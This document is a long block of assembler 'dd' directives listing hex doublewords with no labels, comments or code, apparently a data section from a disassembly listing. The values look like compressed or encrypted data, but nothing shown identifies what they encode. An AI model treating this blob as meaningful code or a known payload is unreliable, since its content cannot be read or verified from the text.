		dd 0E9E05A92h, 42009B8Ah, 0A14423A3h, 96B76AADh, 6C504998h
		dd 7C4BD941h, 0BB247622h, 0D441FC4Eh, 89D6D16Eh, 95A446C8h
		dd 42912C97h, 3DD14480h, 0AA4E6293h, 6ECFB002h,	14D0D0B1h
		dd 0CC5BBF11h, 37964282h, 2F828051h, 0F8EC461Bh, 86F4A1CCh
		dd 5C95BC30h, 0C388B0B7h, 0A371B8B1h, 642018AEh, 903C99D2h
		dd 0AA1ECA50h, 28B0D77Eh, 366426D4h, 7940CF40h,	5165F268h
		dd 0C209D9C0h, 9B9A0Bh,	8783C433h, 0AB5B3DCCh, 7A205098h
		dd 5FF525A7h, 0A3154498h, 62EC9A56h, 0A0BFB198h, 2168FC84h
		dd 1E4C09ABh, 0D8D2D00Fh, 7CB07220h, 451D0C22h,	0CB6043CFh
		dd 82C594A1h, 0B7356828h, 0D9F4C84Ah, 56100407h, 0F4B6F9F5h
		dd 4C401E78h, 78261049h, 0E56A06D6h, 0F419B0DAh, 38F841ECh
		dd 8CF7BC60h, 40B88900h, 0D8585D3Dh, 1D110B4Bh,	2C9166FCh
		dd 46CBD870h, 0FEED2D00h, 870FE0D5h, 0FA100052h, 0BEE6748Ah
		dd 7A06EE5Ah, 39334DC8h, 0ABED0598h, 0CDB5215Eh, 0E7B441C4h
		dd 72C911ADh, 0B404F078h, 807B862Fh, 0E6C574E4h, 0D50965F0h
		dd 10A65176h, 0B0355068h, 37201680h, 0FE6162Dh,	261DC00Ch
		dd 7ED202C8h, 2444A725h, 3880CA4Bh, 58545779h, 8C246830h
		dd 10F6008h, 7F00A8C7h,	6824CE2Ch, 0FAEA1FA7h, 96FB02A2h
		dd 0ED652EC1h, 76F170D9h
		dd 5E76C81Fh, 4ED58F00h, 76D406F8h, 0A09F7Dh, 0FA62DD8Eh
		dd 8B30C403h, 7454657Ch, 2ADE00F1h, 0A5EE908Dh,	0E7722F8Ch
		dd 10CC7648h, 310FADCDh, 9C349223h, 0DF788C31h,	4BE8833Dh
		dd 0A0A76A5Ch, 3331B19Ch, 50208B15h, 0FB1835BAh, 0B4E4001Fh
		dd 0C7AF81D8h, 29F6241h, 798780E0h, 18B7D1E0h, 0D14017FFh
		dd 56740841h, 136E2280h, 268893Ah, 9BD64B06h, 247684DEh
		dd 7F84674h, 2A49CE0Eh,	41BC2FE2h, 18729F38h, 68231125h
		dd 8EF0FC69h, 42002824h, 0F1FF9EE1h, 1D3A088h, 0AD45E003h
		dd 0EDFE0164h, 0BD8010EEh, 17750058h, 0B497C589h, 25047003h
		dd 74F092B5h, 42E25CE2h, 700130h, 8C9B0A68h, 0BCB712A2h
		dd 64D99C2Eh, 48CDCE08h, 6F044AE0h, 0A77EE640h,	0B0052D3Ch
		dd 7C1DCA1Eh, 0BCF200B2h, 7E8CEE30h, 731602E4h,	687F20AAh
		dd 0B9817C54h, 12F3F8A3h, 13717E0h, 27A5C91h, 82829E38h
		dd 5F3DC870h, 0AFC0D932h, 0F891AC15h, 1550C880h, 6A0B02DDh
		dd 90F5720Eh, 3BB42B00h, 27006E81h, 16DC2FC4h, 7F0E3379h
		dd 603D42F9h, 89CABD2Bh, 40B84BACh, 0D0B10D3Ch,	2904D3F2h
		dd 0F92CF777h, 6E1054F8h, 0D44F18C8h, 80D3EA10h, 2D13B75Ch
		dd 18B0D19Fh, 883AB5EDh, 288A5041h, 1BF5C018h, 430A31BBh
		dd 0C52237h, 8E1BFD69h,	0E99F16DEh, 0F2CE7C0Ch,	3FAD9EDh
		dd 0C0390734h, 5680F642h, 2559C363h, 9CCD9634h,	41573DC0h
		dd 60183136h, 9D9D7D93h, 87FA11E0h, 273020BEh, 2F467Ch
		dd 0A6A1430Eh, 1A718B8h, 0C10828E9h, 0CC4649D9h, 0D7F02C2Ah
		dd 0B3E5AE45h, 470C319Ch, 91559679h, 3830DE7Ch,	53BB09FCh
		dd 0B1B458C3h, 1943D168h, 62DD25C0h, 756E2878h,	34D220E2h
		dd 66AB7416h, 1DA04B4h,	1042450Ch, 79386DADh, 0B4DC1350h
		dd 7C300E0h, 0A6D1802Fh, 8084A45Fh, 710A161Ch, 247DAB01h
		dd 4D567BD7h, 240C020h,	4BACB841h, 7C583ECEh, 19FE5C98h
		dd 48D14E4Bh, 2700D325h, 0C09A561Bh, 0B1965B16h, 83B51428h
		dd 6422380Bh, 83A448AFh, 0BEF0A847h, 85093051h,	82FCF768h
		dd 0F44458B1h, 7320230Ah, 0C0320EFAh, 833C7644h, 0A95E4287h
		dd 81003054h, 0E2C41B4Bh, 0A0AE0FDFh, 0A622D0A4h, 454CE20h
		dd 0A36E00F4h, 9A078D9Eh, 834C92C8h, 0C04A2290h, 3AC79376h
		dd 0DC038F48h, 0BD3488A7h, 31A2D1A3h, 264C203Bh, 2E00F9C6h
		dd 0BB451B71h, 5361DFEh, 69B09E3Dh, 8138C084h, 0F313EEE1h
		dd 0E896C652h, 67501369h, 6848C8B5h, 0F5D3DAA3h, 0A1842140h
		dd 6311A440h, 0FA503910h, 5D5627B0h, 0A435EC1Ah, 44B04719h
		dd 643E60B9h, 69AF3007h, 0F7A7ADD6h, 0A441F07h,	0C3FE4A5h
		dd 0D4BA1CDh, 5DB70765h, 32E43010h, 97D4D040h, 0FE726C02h
		dd 47D4EC74h, 177AF27Ah, 0A085CA6h, 2FEC04B5h, 0F30B2D3h
		dd 2BDD173Ah, 0E4486561h, 816760C3h, 0F8985087h, 4F6A0B61h
		dd 0A8629C11h, 0A712CC83h, 5435990Bh, 0A56880AFh, 0B7D77326h
		dd 0B0DC0C22h, 86BE4501h, 0A12487Ch, 8874322Dh,	111BEF30h
		dd 88DA31BDh, 0F77380C5h, 0EE0D271Bh, 7C43F25Bh, 0F8D3D526h
		dd 5A772560h, 5E8C881Dh, 2163C03h, 0C097907Dh, 81059Bh
		dd 728429BBh, 79FF1396h, 504CC0CEh, 23D2BF09h, 12084CD1h
		dd 3A101353h, 24723A0h,	22A6D58Ah, 64E268C8h, 0B701690Fh
		dd 0AF7879E6h, 0B070FC28h, 7822437Ch, 0A51732Fh, 0F0208C28h
		dd 59E62811h, 0A638CE07h, 9802D994h, 92035AD4h,	80E0CCD9h
		dd 1FEFEB3h, 0D1404A22h, 48C02B29h, 0A46ECFD8h,	880A8078h
		dd 595AE8A8h, 0C53114F1h, 84313281h, 0C8F8CC2Eh, 73C090ECh
		dd 0C44DC3E8h, 695B6C23h, 11CFEC00h, 263152F6h,	899018D3h
		dd 1FB0B2C4h, 5022AB63h, 0A61B73CEh, 0A489BA9h,	117ED138h
		dd 0E6778D88h, 0D9188FAEh, 48CE2A61h, 0C2E86940h, 7D3320C5h
		dd 0CCA9B121h, 808559D0h, 44B6E870h, 60534E48h,	3B2FC220h
		dd 0B8CE206Eh, 7EE803A8h, 5A541A54h, 4C1254B0h,	0AC820EBEh
		dd 2386464h, 0ED9787ACh, 500CD0AAh, 44EC5AE2h, 65C1590Ch
		dd 885D0E5h, 301D7ED4h,	0B066E534h, 2390A3B7h, 63703CDBh
		dd 99AA50F6h, 74731D11h, 30CD99A3h, 6819AC56h, 305F2208h
		dd 875AEBB0h, 0C40820FDh, 6804307Ch, 0ACE1A865h, 686BE1C3h
		dd 0C850C169h, 0C08CC58Ch, 0B29CF90h, 451C80A8h, 0CA9A3F9h
		dd 4B38C709h, 3F101064h, 0C6CD0FABh, 0C3A098A2h, 576A24E2h
		dd 77780D5Ch, 686E3E48h, 0C0F2651Dh, 0D1FDAEF3h, 0A441F55Eh
		dd 95A9CFF8h, 0D32FB019h, 0D1F4880Bh, 2B0C406h,	0EDA1084Bh
		dd 2CD1352Eh, 112D7C11h, 8BC9F468h, 8A3F1300h, 0D460A0D6h
		dd 0FEEA001Ah, 3B48F6B4h, 0F7201E55h, 0BB220CC3h, 0AA81B151h
		dd 14457E2Eh, 591B2C85h, 358460ACh, 0C6A341BDh,	0C100B8BAh
		dd 7E037FE2h, 7902CF2Ch, 8308F057h, 0A31126C2h,	1550850Ch
		dd 0D5B1C096h, 0F9D9D6Eh, 0D4900348h, 14D80007h, 580FBBE2h
		dd 3F4E88E8h, 0A05B1847h, 2A22D190h, 0A86F3E4Fh, 64551B89h
		dd 0AB4424F0h, 915E16D4h, 61EC44CEh, 23D4105Ah,	608403B0h
		dd 8E95457Fh, 8C1300E0h, 9C4A0960h, 1246018Dh, 69ED70C5h
		dd 9100F7F5h, 6117BBC1h, 34B891Ah, 87B0058Fh, 211885DDh
		dd 0A508AB1Ch, 59166729h, 0E761E1D4h, 0B078854Ch, 7000F301h
		dd 626B29BEh, 9ACB4C5h,	0D829E4A0h, 19C00006h, 8D02D243h
		dd 8C611BA3h, 132FB4C0h, 0A2504712h, 23E458A5h,	81254A12h
		dd 0D229ECC4h, 0D6423CDCh, 3E8B0FCBh, 2F3FD830h, 0A6D18F00h
		dd 2506F51Eh, 594B767Ch, 0B73CA8A7h, 9E2C2860h,	1C357704h
		dd 8027165h, 5CC9B1Eh, 1911C6C5h, 0E9A482B5h, 0CBE103ABh
		dd 57181903h, 0F8088534h, 5929C5h, 84955851h, 0DE2A3D9h
		dd 0AC05D6F4h, 8B09F54Dh, 0D00EC8C3h, 0B9725Dh,	0E7E6027Dh
		dd 0C74252F3h, 5F8E8D1h, 0B56C77D0h, 17534C02h,	6EACE026h
		dd 24F280CBh, 6C00BCA4h, 0BAC37D6Dh, 276ED4BDh,	0C8A5A55Dh
		dd 84B8CFD7h, 0F221579Ah, 42B908CCh, 2038E4FDh,	0BAB8BB16h
		dd 0D75ACE89h, 0D4A0AC7Bh, 1DDE1727h, 81F69110h, 0C011604Bh
		dd 0E40051BAh, 0D0BE1D26h, 7B00B98Eh, 86D15215h, 25EC6927h
		dd 0EC8D9366h, 0CB1C20B9h, 0C89D6124h, 43F5B45h, 7BD87500h
		dd 71E49CC6h, 0B09E8C00h, 0DF968B92h, 898E28ECh, 7D07B0Ch
		dd 0EBED958Dh, 7CB072C6h, 0C079E400h, 3EE7F098h, 0EC3E9589h
		dd 778963Eh, 3AF19AC2h,	75E2C0C5h, 0E0749B8Dh, 0B0978F03h
		dd 9B988AE8h, 94FB3Ah, 0EC9BC328h, 0E7238CEEh, 0CCC4F006h
		dd 4840EFF3h, 7803E2E3h, 8F8B79E8h, 258CE2B8h, 0EE55A000h
		dd 13BC9B2h, 441F9CCh, 808F9133h, 138090EBh, 0AB70AF87h
		dd 9B019C0Ch, 78E579EAh, 0C571CFEBh, 0D318D78Dh, 0D59CE115h
		dd 918D0C08h, 148918E0h, 38CA76DEh, 8688806Ch, 90ECF102h
		dd 0F0DF91h, 97063B99h,	0E04EC618h, 30887BE8h, 6D380A71h
		dd 0C56536B0h, 0A0009C40h, 85AC73F3h, 0DE3B0104h, 0E777B1CCh
		dd 60EDC1BDh, 916705B5h, 0D5409EE1h, 7EE54F4h, 0C0EFDE7Ch
		dd 4887E57Bh, 0E607883Ch, 53BE724h, 3C60B035h, 0F919996h
		dd 78B68FE4h, 8B04C191h, 0E4F39E8Ah, 1EF8402Dh,	2FBDB9DBh
		dd 22AE64CCh, 0FBF00516h, 8E6CB879h, 138508DAh,	2CAC4194h
		dd 0A63CC9D1h, 0F90BF819h, 4A47175h, 1306F189h,	42487CD6h
		dd 22AB04AEh, 0F8AC3E10h, 0A491730Bh, 0FC5BE493h, 0A2F30C88h
		dd 0DFB0C42Ch, 0A17C9A60h
		dd 0C12D54C1h, 0FDE71385h, 98B49CC8h, 5870D994h, 0D46909EAh
		dd 0FF2A6061h, 40EC2930h, 4212AB7Ch, 7892D572h,	58688C83h
		dd 0ACB1849Ah, 2E156033h, 9E08BD1h, 68A0FE80h, 7DD88AC9h
		dd 250894A7h, 1A5059F3h, 0DF70E7C8h, 0EE448D79h, 0FE479438h
		dd 2840CD1h, 7FF205CBh,	2EED50C8h, 62C83CA2h, 2700CE45h
		dd 9FF4461Bh, 0BF359CA2h, 0F6C64B20h, 0A2A0A0B1h, 3E5533EAh
		dd 0D0EC6518h, 9976CE88h, 48C10BEh, 10D28A7h, 455F361Ch
		dd 2BCC02C6h, 3BAE3444h, 2F278532h, 0B013AB3h, 7060DC80h
		dd 0EF35F8C0h, 0BEC2ACABh, 0FDE724A0h, 317720D3h, 0D4987654h
		dd 0C97E2Dh, 869527BCh,	54A75868h, 0F0B0922Ah, 81AF684Dh
		dd 2FBA02C3h, 446D2D5h,	8042448Ch, 0DCA5E722h, 844E510Ah
		dd 655EDC82h, 1140D9B3h, 0D6485089h, 360441D4h,	4318918Fh
		dd 909721E6h, 64C7C8DEh, 231C54EEh, 67CC12B8h, 324E3248h
		dd 0E5085C0Ah, 922701CDh, 916C8736h, 0E829E40h,	3C44F9EEh
		dd 0C24A9CA0h, 54A9C283h, 0E96862A8h, 0E1000046h, 29B519DDh
		dd 89B0BFh, 8682EEB9h, 0E8332F58h, 0F83CD900h, 1968857Bh
		dd 141A124Fh, 0F2E0E082h, 0AA9F4602h, 0D4D8E866h, 262A3D44h
		dd 1E7B9Ch, 844D9DA2h, 0D91C8003h, 31695002h, 7AD3BF7Fh
		dd 32EC2440h, 0C4AC64h,	7987B06Ch, 290EC3A1h, 80A92C84h
		dd 7075DF95h, 68FAD4h, 3D1C4F17h, 0B04A59C5h, 14D8300h
		dd 89CCD382h, 0CF3B2FBCh, 6C00A464h, 0A348D1D5h, 9964AFh
		dd 746FCEC9h, 566727ABh, 0DD2081BDh, 4805A909h,	24A2320Ch
		dd 0A80F9C00h, 1BE7156Eh, 0C0320194h, 110DBE5Ah, 7DC1809Dh
		dd 0E8038CB0h, 70A30022h, 0EA265058h, 0D21C7FABh, 0A8C8831h
		dd 1B69BDh, 0A7D7DD70h,	19078F71h, 9988EF00h, 0C1614CE6h
		dd 5FF40011h, 43A2AB21h, 0C800D509h, 12BC0BEDh,	14A25D8h
		dd 78A01F0Eh, 0C1247433h, 1834D09Ch, 710CB800h,	0D0381B50h
		dd 92266A4h, 580121CBh,	54E470FFh, 92E089B4h, 1307C97h
		dd 7AD47498h, 0FCAB0ED6h, 0B31D78BCh, 0DE11BBE4h, 0DD52F200h
		dd 1C19CEEBh, 342F3107h, 71307C13h, 776F79Ch, 2C85AFEDh
		dd 244D2018h, 0B419554Fh, 2DA1167Bh, 6089D4h, 56C19AD5h
		dd 2C8804A8h, 100BA300h, 0FDDE1F9Ch, 7420C3CBh,	6F91BC0h
		dd 8204E7Ch, 6087F7C3h,	0C05A16Ah, 30979F30h, 1B68B38h
		dd 538F2D9Ah, 98572530h, 34D01E08h, 0B69200E5h,	1AB82624h
		dd 5280DB3h, 93468CEDh,	88DD5D1Fh, 0F3704CABh, 0FDD0255h
		dd 42FCC3FFh, 6E80B48Fh, 5CB7F2B2h, 0D57F7C00h,	0A9FB1037h
		dd 87E70E1Ch, 0C7C41AE1h, 2A86C216h, 0D97FA4AEh, 0E05E413Ch
		dd 7760F048h, 5F9C5411h, 0EFFC1D89h, 9F59944h, 8021B94Bh
		dd 2865F24h, 28F9F623h,	46243226h, 5F9A0252h, 311FFC83h
		dd 22361050h, 0BA2F485Fh, 0B65ABA03h, 0BBB89085h, 55301314h
		dd 3D1A2974h, 0C95786Bh, 76242165h, 0EF487A18h,	8CC9B848h
		dd 53119C00h, 9B879F3Dh, 0E0AE540Bh, 0EA7101BDh, 25DB1CBEh
		dd 311021E8h, 7810560Dh, 7DEF7520h, 0A2FA32A4h,	6C458A38h
		dd 0C63D8E4h, 0D64A9AE8h, 7E70D20Fh, 3421B984h,	7C5880C2h
		dd 1D645EDEh, 0C08E77D0h, 5062AA70h, 0A9069E76h, 659C84E8h
		dd 0D5B70039h, 503DB077h, 2F03DE87h, 0AE386B6Eh, 0F3D1C86Dh
		dd 7C050169h, 9D4D5D9Eh, 0B87B1366h, 43A833h, 0E2B8CB07h
		dd 157745C6h, 8EB4805h,	2F80E00Bh, 1AA6BB64h, 0A9313519h
		dd 6021C024h, 2377710Fh, 0C011101Ch, 71065D00h,	0DE25E167h
		dd 14D9873Dh, 882841ABh, 7111C01Fh, 60461C79h, 5700C522h
		dd 16177108h, 64A912h, 0A5A68453h, 0EAB375B4h, 2A4A9630h
		dd 0A42EC27Ch, 7DCA1B0h, 0B67E8518h, 117F2D23h,	8CDF003Ch
		dd 7D85FCB6h, 0E5A300ADh, 1F5FDB21h, 7A3A78D7h,	84BDBC55h
		dd 0B043D807h, 916811C6h, 181BD110h, 21460C23h,	94093A6h
		dd 0B67F028Ch, 582F2D96h, 86E10E16h, 0DB6117B6h, 80120A89h
		dd 9CC09919h, 0FD1D43h,	0E1B97A19h, 4E4F6FE7h, 0FF97D000h
		dd 6476C118h, 0C8A89831h, 79C00B78h, 462D94B6h,	11221Fh
		dd 0D8B680EBh, 0A3BE6FB3h, 2DB4870Ah, 0C8CB833h, 0E2FE2908h
		dd 6BA3BC3h, 2D4EB500h,	29C156Dh, 7F63AC00h, 1423D78Eh
		dd 0B1997B5Dh, 18DDD118h, 6FEA0373h, 0C5EB2E3Ch, 879D39E8h
		dd 647448B8h, 282C1626h, 587E4380h, 186B72A3h, 19241C2Dh
		dd 0A1E2B0F7h, 78A2B0C3h, 0C25FAAA6h, 1174977Ch, 8D2583BFh
		dd 7F6FF0D1h, 5E9900ECh, 8668BE76h, 34785F9Dh, 961E949Bh
		dd 0BFFC91BBh, 3A804A88h, 96BE5F9Eh, 9085644Fh,	710E6022h
		dd 81C217Ah, 710962C0h,	1B0302E3h, 0F9C9304Dh, 0D8A9D090h
		dd 0FA8024B1h, 9E092EEh, 23E900F6h, 51F4BD74h, 66027162h
		dd 3460EC6Dh, 42C8CF1Dh, 1B10D445h, 20488D02h, 0C89CB045h
		dd 90E47C98h, 18D461Ch,	0AB0FD677h, 0A862B57Ch,	0DD4FF1C0h
		dd 6F48B030h, 98A42C60h, 46748826h, 6BAA0051h, 70775CC2h
		dd 194008Bh, 0A258E31h,	871C41EEh, 79B2DFDBh, 0B049734h
		dd 7820D40Dh, 4497BE78h, 0E09CBC29h, 0AE251C3Ch, 9AD4C680h
		dd 0F4A47215h, 0A30D249Dh, 859305E0h, 64D41EDBh, 8206BE6Ch
		dd 28A07214h, 33F23D43h, 85945098h, 3BDDD618h, 0B1A821h
		dd 0ABA062F9h, 0E8339A22h, 70A18C6h, 0C2CAE039h, 33BA2341h
		dd 0B1F91068h, 3863AD30h, 0C70AFAC8h, 386451h, 12D0D244h
		dd 5F931500h, 60A81D91h, 2A771FB5h, 0DAF88DD8h,	0E53C4291h
		dd 0BF0198AFh, 20B845AEh, 0CB032E4Ch, 1713193Eh, 97E024EAh
		dd 9950001Ch, 0FC5FD079h, 5198360h, 74B57435h, 8911E7Ch
		dd 87ABC24Eh, 0CCE03342h, 1F099B72h, 0A02150E3h, 1C8E2830h
		dd 938600Ch, 0BB6F7732h, 9D446B05h, 0B8C2743Eh,	6E4CB97Dh
		dd 0A39CB840h, 0E0585296h, 20017822h, 68BB7648h, 0F082F698h
		dd 0FBF8C7F7h, 44D17925h, 55E58734h, 3FA9024h, 44050ADBh
		dd 2104FEAFh, 0DE89186Bh, 0BF89E010h, 47106407h, 92C8F45Bh
		dd 0BC8C4BB4h, 0CBF0DB21h, 71299D30h, 5006216Dh, 6097884Ah
		dd 0E804875h, 0BB04A435h, 0A2BF0AB7h, 32217802h, 0A5443450h
		dd 0BB53072Fh, 0A0846D63h, 0F0B75F2h, 0AC7E0C92h, 5F31BC00h
		dd 0C7A2B66Bh, 0C83F74F3h, 0FE807540h, 0F9D26D29h, 2890A90Eh
		dd 161022DFh, 8B5F9200h, 555B9FBEh, 2F2C066Eh, 0C132DDD8h
		dd 622E4A73h, 7429E8EFh, 0BC11770Ah, 5E230780h,	19012F6Dh
		dd 7944F9F7h, 14D0E020h, 5FB28800h, 3BEE0EDDh, 0A0BC021Ah
		dd 6B3E5CCFh, 109C2C41h, 4C8670C0h, 3648CC8Ch, 5A7CD500h
		dd 0D332426h, 0F4C0D254h, 2A71A600h, 0AA6885DDh, 648615CEh
		dd 180EA024h, 58B9415Ah, 8F40129Bh, 11930C88h, 8E710016h
		dd 0A44B8C4Dh, 0CA53F8C8h, 0C44E24D4h, 884828A0h, 21E4C360h
		dd 4E210052h, 576AAF9h,	0D930A77Ch, 0AC1A1954h,	0D03F550Bh
		dd 4865AD20h, 0BF0020D3h, 4B9730F3h, 4404EE41h,	292DAEFDh
		dd 1460E8C4h, 50F91B5Ch, 422130E6h, 1E2C7C31h, 0B0B241Dh
		dd 529CA02Bh, 79938855h, 0A9F887h, 822CCD9Ah, 0ADC58CAh
		dd 0D1C03C90h, 0D52EA496h, 0F93A02D9h, 42F6C7FBh, 7A4C0444h
		dd 0F0284268h, 875C9628h, 8D319D47h, 2C4119A6h,	60EDD44Ah
		dd 5C48C050h, 0B042156Fh, 0A403A00Ah, 3261A83Fh, 0A070B680h
		dd 881C5A48h, 8C776099h, 627B9A15h, 0CA987450h,	5E106542h
		dd 6218624Dh, 1EBA1064h
		dd 107A4384h, 93C27D2h,	0E33097ACh, 11076FFBh, 0A3132214h
		dd 84A6D000h, 447102F6h, 1BDEF955h, 0B3CA2C81h,	89C1719Fh
		dd 20A320F0h, 8E3E5590h, 0EB930387h, 661389AAh,	311C8004h
		dd 38E24663h, 143A4322h, 0CA990F8Ah, 9320189Eh,	73D7280Dh
		dd 0FC700184h, 82E21CC1h, 66A83063h, 0F523205h,	4C19A79h
		dd 7860C2BAh, 0CA7E12BFh, 653C0034h, 2D8E4507h,	0A92876E2h
		dd 756044B1h, 0AEBE8251h, 5F31C06Eh, 9F3EC950h,	0AB7C1202h
		dd 6154C491h, 0CEF11A6Ch, 2135B983h, 180F52B6h,	307EF9D5h
		dd 980007Bh, 981C833Dh,	3C526B2Ah, 0AFA21B94h, 0AA85E130h
		dd 0D4EF86E0h, 7322B410h, 0A6FAF0FFh, 84B418C9h, 0D42BC84h
		dd 94817953h, 80C56B70h, 7199DE8h, 308B749Fh, 0DC0257Ch
		dd 371E4013h, 0BF197AA3h, 0B6086D29h, 44DF2844h, 0BD44403Fh
		dd 29228881h, 0FB5AED00h, 0CD484483h, 77510076h, 0E02C7BDEh
		dd 87F21F34h, 6D98D600h, 0BFA1E265h, 0F2B90071h, 0F989F895h
		dd 1F0EC5B2h, 40ADB86Bh, 0DAF1B0F5h, 42AE01CFh,	0DF3A66D2h
		dd 0DE0EC4E4h, 0DB99900h, 0F812CAD0h, 4D5803C1h, 0BCE753D2h
		dd 0A954688h, 625D4403h, 0B87D8F6Fh, 88803777h,	0B700AA94h
		dd 0AB3FC6BCh, 609A4B19h, 0B5E2300Fh, 8EF8F7C3h, 0A88651Fh
		dd 0BB67D3C0h, 8DBA0Eh,	0DF4A1A55h, 521E801Fh, 764F1400h
		dd 8B0E6958h, 0F76D1CA1h, 0C77A41B8h, 41617444h, 0CD03C880h
		dd 0D0E1EC9Dh, 2F1DA102h, 40ADBFB9h, 48EE79h, 2E453694h
		dd 0A9F092B6h, 24D458h,	0FFD4F74h, 7E36Eh, 3AB91DA7h, 278A0BFCh
		dd 3B2B20F9h, 0C3A0EB00h, 4641902Ch, 45250085h,	4F835619h
		dd 94503D6Eh, 23053FCBh, 0BA911BC9h, 0D133AC00h, 7FD31Ch
		dd 2B10D418h, 8F625CE7h, 32ADF900h, 78C7122h, 5E9100ACh
		dd 720246B6h, 8A0A6EC2h, 0EBE4538Fh, 0F3EC500h,	48CBC6AEh
		dd 88003C96h, 0B8AF17C4h, 7F00FBF6h, 0E3E9D240h, 0E5F1AA0h
		dd 668AF3AEh, 0B7FEA28Ch, 3600B6FEh, 0E373DDB0h, 278C2Ch
		dd 7F924193h, 8957CCBCh, 60D4190Eh, 187701F6h, 12F0282Fh
		dd 0D8F7EB81h, 8D07EDh,	4B53BA9Fh, 268B78ABh, 2A06D800h
		dd 84DC52FDh, 0EAC41E02h, 5A3EC08Dh, 964FA10h, 6A225012h
		dd 0F7C21800h, 0D0128Eh, 428ACB68h, 0BBAAD67Ah,	8C79E828h
		dd 0E79C8C00h, 0E3CB9865h, 3EE0030h, 0F01D39F2h, 17045705h
		dd 0D3DBCF9h, 70F3C0C2h, 0DD6F167Ch, 0E7C900BAh, 1A58FCC5h
		dd 0AA006BF8h, 0C115AF07h, 10B1Bh, 0DE300CE3h, 0E5472565h
		dd 24763800h, 345D0E74h, 0DFA404A0h, 843C2942h,	53E00E9Ah
		dd 3ED1FCA0h, 0B4A8E82Bh, 0AA1DFA84h, 5C8093E0h, 0D681A489h
		dd 0EBDB0304h, 802097D7h, 8C752801h, 6046B964h,	18CA1ED8h
		dd 0E8D5881Ah, 31007947h, 42376AA6h, 62F1333Ch,	46BDC808h
		dd 26CAE380h, 66008BD9h, 0EDFE6977h, 486B23BCh,	4C04009Bh
		dd 80D32592h, 4264CB05h, 35BE7700h, 11683215h, 144B001Ah
		dd 0A31710A1h, 99009121h, 0A622BC4Fh, 69A97Dh, 5B5EE801h
		dd 23F85CDAh, 37015DF4h, 63E3061Dh, 53EC7D45h, 4C0800AFh
		dd 419ECE02h, 4900B2DEh, 3F800694h, 90BEDA25h, 0D9E71E95h
		dd 488D0011h, 370BA790h, 89EB4E03h, 0C922DEEFh,	0EBCAC33Dh
		dd 31D2F0ECh, 7ED1018Ch, 5C864946h, 0F9440B4h, 300193C4h
		dd 5801AFA4h, 1883B1EAh, 1A8EFFBAh, 0EEF91DA0h,	2B8C6607h
		dd 6AC353C1h, 77FCF0E9h, 692F00DDh, 9F3ACF19h, 0F4032289h
		dd 0FA9C4D43h, 1A1BB8A2h, 385400F6h, 159B926Eh,	0A113D94Bh
		dd 5800F561h, 0EA35740Bh, 0C96F05E9h, 9021976Ch, 8D0838C0h
		dd 28FC5130h, 3A24611Eh, 0F314F431h, 0F79819Bh,	0F1A84EACh
		dd 602D06C1h, 0F488D09Fh, 7A702CF5h, 0E0003F7Ah, 3E71AC84h
		dd 81FB5Bh, 590C6041h, 0AD15C316h, 581A3Ah, 0A3E4349Eh
		dd 3AEBF2h, 4C520550h, 179ADA7Bh, 7F24E501h, 19CABB2Fh
		dd 2DEF1C8h, 0DFF4343Bh, 0DC483FDBh, 2401D5F6h,	5BF8C6AAh
		dd 198144F7h, 0DA4CC7BAh, 0C4197009h, 0F1A4C800h, 7C9F91EEh
		dd 5A182454h, 0F74200D1h, 462B8307h, 7BF51E00h,	0FD39BAA4h
		dd 9A8C0172h, 843894C9h, 3E903010h, 0F69FE005h,	0B0803B86h
		dd 73A6DCAh, 1E12C699h,	13A733CBh, 1D8D30D0h, 4C9D100h
		dd 2D50DFE9h, 2F430C90h, 1A28216Ah, 0DB8FE700h,	5A83C68h
		dd 0A030B03Ah, 0E380F00h, 3116696Fh, 9B41DA0h, 0C987CC9h
		dd 80B330FDh, 0D0C15300h, 6192C50Dh, 237300A5h,	3688D515h
		dd 0B2EE2796h, 7199C001h, 0AC34D01Ch, 80EEF3E1h, 10853AECh
		dd 66CB126Dh, 37FC0138h, 8905B9E3h, 1B5F398h, 0B21B21B8h
		dd 911D020h, 1FADFA6Eh,	0B6EEF901h, 761880B1h, 78B2FC89h
		dd 226700B3h, 7AFB42C6h, 0AA00458Eh, 9E2E617Fh,	1F51A429h
		dd 0C00ED044h, 7C3BF75Fh, 0D928EFCFh, 473ABCE8h, 8189809Fh
		dd 0C3CEFD0Eh, 222300D8h, 1C762ED0h, 7E0090E6h,	73B91C6h
		dd 0A9681Ah, 0BB4E52A5h, 88774523h, 95BD9800h, 0B610D580h
		dd 6A43E4Ah, 0CAF3C180h, 5AAE41F5h, 0C7282000h,	0CCB44BC4h
		dd 790401B3h, 130C58A6h, 17BC2C93h, 57007A14h, 1D184B1Ch
		dd 8B0EAh, 0B0E3DD6Eh, 5CE16285h, 81F8593Ch, 117958EBh
		dd 0E3605398h, 31800084h, 43172F30h, 0EBEAE452h, 38A0B526h
		dd 1C2A3E00h, 0FF6742h,	16C21355h, 88E5C5AEh, 312FDB00h
		dd 261E66F0h, 2B8F0158h, 0BC03F3Dh, 20FEC533h, 0D745D5D4h
		dd 48CB55C4h, 7D007429h, 0E5533A58h, 511FB81Bh,	0B5C0BEC3h
		dd 0F0AF490Bh, 0E4C4A22h, 10CBD670h, 0B584CC20h, 0DB065F66h
		dd 44EB7BABh, 9CB83E19h, 28561D01h, 52E6F9B2h, 8960188Ch
		dd 160999D3h, 10CF82D2h, 0B72FA8h, 760AF1Dh, 0E1133389h
		dd 6F00D0BAh, 46A0F4E5h, 507FD0h, 0B6DD78DCh, 0DE80C532h
		dd 1B581060h, 0E84FD0A8h, 5FB21897h, 0DF237195h, 0ADF12F60h
		dd 3A10BC3Ch, 814814ABh, 83184637h, 30C7BBA4h, 0A97C0572h
		dd 6FF520C5h, 543478D0h, 0D0782F55h, 8B8C8C00h,	2DF8EF6Eh
		dd 0B358C703h, 9870BC2Ch, 1FC27333h, 0FD22A0F3h, 0A3999C87h
		dd 53662303h, 357E41BEh, 0B30EBC0Ah, 0FB005464h, 98192E0Bh
		dd 442600A5h, 0D4BCB5E0h, 6F1E779Ah, 0D3561487h, 0CAD3B08Fh
		dd 788119B8h, 1C7CFE71h, 9AD91C0Ch, 11000BF8h, 8034F196h
		dd 18A06EEAh, 993FFAABh, 9C62ED1Dh, 2295A529h, 0EB2470EEh
		dd 0F00BCB40h, 0D901F233h, 0CD5B8A0Eh, 0F8D859D1h, 747D66h
		dd 16C0AAEEh, 93CC7DF9h, 0BB812100h, 7352F480h,	59CA002Ah
		dd 725FD479h, 4F0FBC8Fh, 214E9F2Ch, 90548A30h, 589C38CCh
		dd 0C63B84B2h, 0D13F9D00h, 1DA17D9Ah, 9E02BB01h, 4B7BBF45h
